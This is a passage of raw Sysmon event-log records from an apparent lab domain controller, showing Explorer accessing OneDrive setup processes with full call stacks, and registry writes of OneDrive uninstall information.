29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\shlwapi.dll+29a9e(wow64)|C:\Windows\System32\windows.storage.dll+2ac007(wow64)|C:\Windows\System32\windows.storage.dll+fd95f(wow64)|C:\Windows\System32\SHELL32.dll+24076c(wow64)|C:\Windows\System32\SHELL32.dll+2409d9(wow64) 10341000x800000000000000044150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.862{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\shlwapi.dll+29a9e(wow64)|C:\Windows\System32\windows.storage.dll+2ac007(wow64)|C:\Windows\System32\windows.storage.dll+fd95f(wow64)|C:\Windows\System32\SHELL32.dll+24076c(wow64)|C:\Windows\System32\SHELL32.dll+2409d9(wow64)|C:\Windows\System32\SHELL32.dll+24066d(wow64) 13241300x800000000000000044149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe\UrlUpdateInfohttp://go.microsoft.com/fwlink/?LinkID=223554 13241300x800000000000000044148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe\UrlUpdateInfohttp://go.microsoft.com/fwlink/?LinkID=223554 13241300x800000000000000044147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OneDriveSetup.exe\PublisherMicrosoft Corporation 10341000x800000000000000044146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\windows.storage.dll+1dbb09(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\windows.storage.dll+c0c1e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba 10341000x800000000000000044145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\windows.storage.dll+1dba3c(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\windows.storage.dll+c0c1e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba 10341000x800000000000000044144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1dba27(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\windows.storage.dll+c0c1e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3 10341000x800000000000000044143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1dba27(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\windows.storage.dll+c0c1e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6 10341000x800000000000000044142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\windows.storage.dll+1dbb09(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\windows.storage.dll+c0c0e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba 10341000x800000000000000044141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\windows.storage.dll+1dba3c(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\windows.storage.dll+c0c0e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba 10341000x800000000000000044140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1dba27(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\windows.storage.dll+c0c0e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3 10341000x800000000000000044139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1dba27(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\windows.storage.dll+c0c0e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6 10341000x800000000000000044138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+2995e(wow64)|C:\Windows\System32\shcore.dll+29cab(wow64)|C:\Windows\System32\windows.storage.dll+1f1ee0(wow64)|C:\Windows\System32\windows.storage.dll+1db878(wow64)|C:\Windows\System32\windows.storage.dll+c0c0e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba 10341000x800000000000000044137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1f1ed2(wow64)|C:\Windows\System32\windows.storage.dll+1db878(wow64)|C:\Windows\System32\windows.storage.dll+c0c0e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6 10341000x800000000000000044136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1f1ed2(wow64)|C:\Windows\System32\windows.storage.dll+1db878(wow64)|C:\Windows\System32\windows.storage.dll+c0c0e(wow64)|C:\Windows\System32\windows.storage.dll+c0a9b(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca460|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+ca82b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf8e3|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52 10341000x800000000000000044135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b709(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10fe5|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+227d9|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000044134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b68a(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10fe5|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+227d9|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000044133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.852{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+9edb|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10d85|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10fe5|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1191e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e 10341000x800000000000000044132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 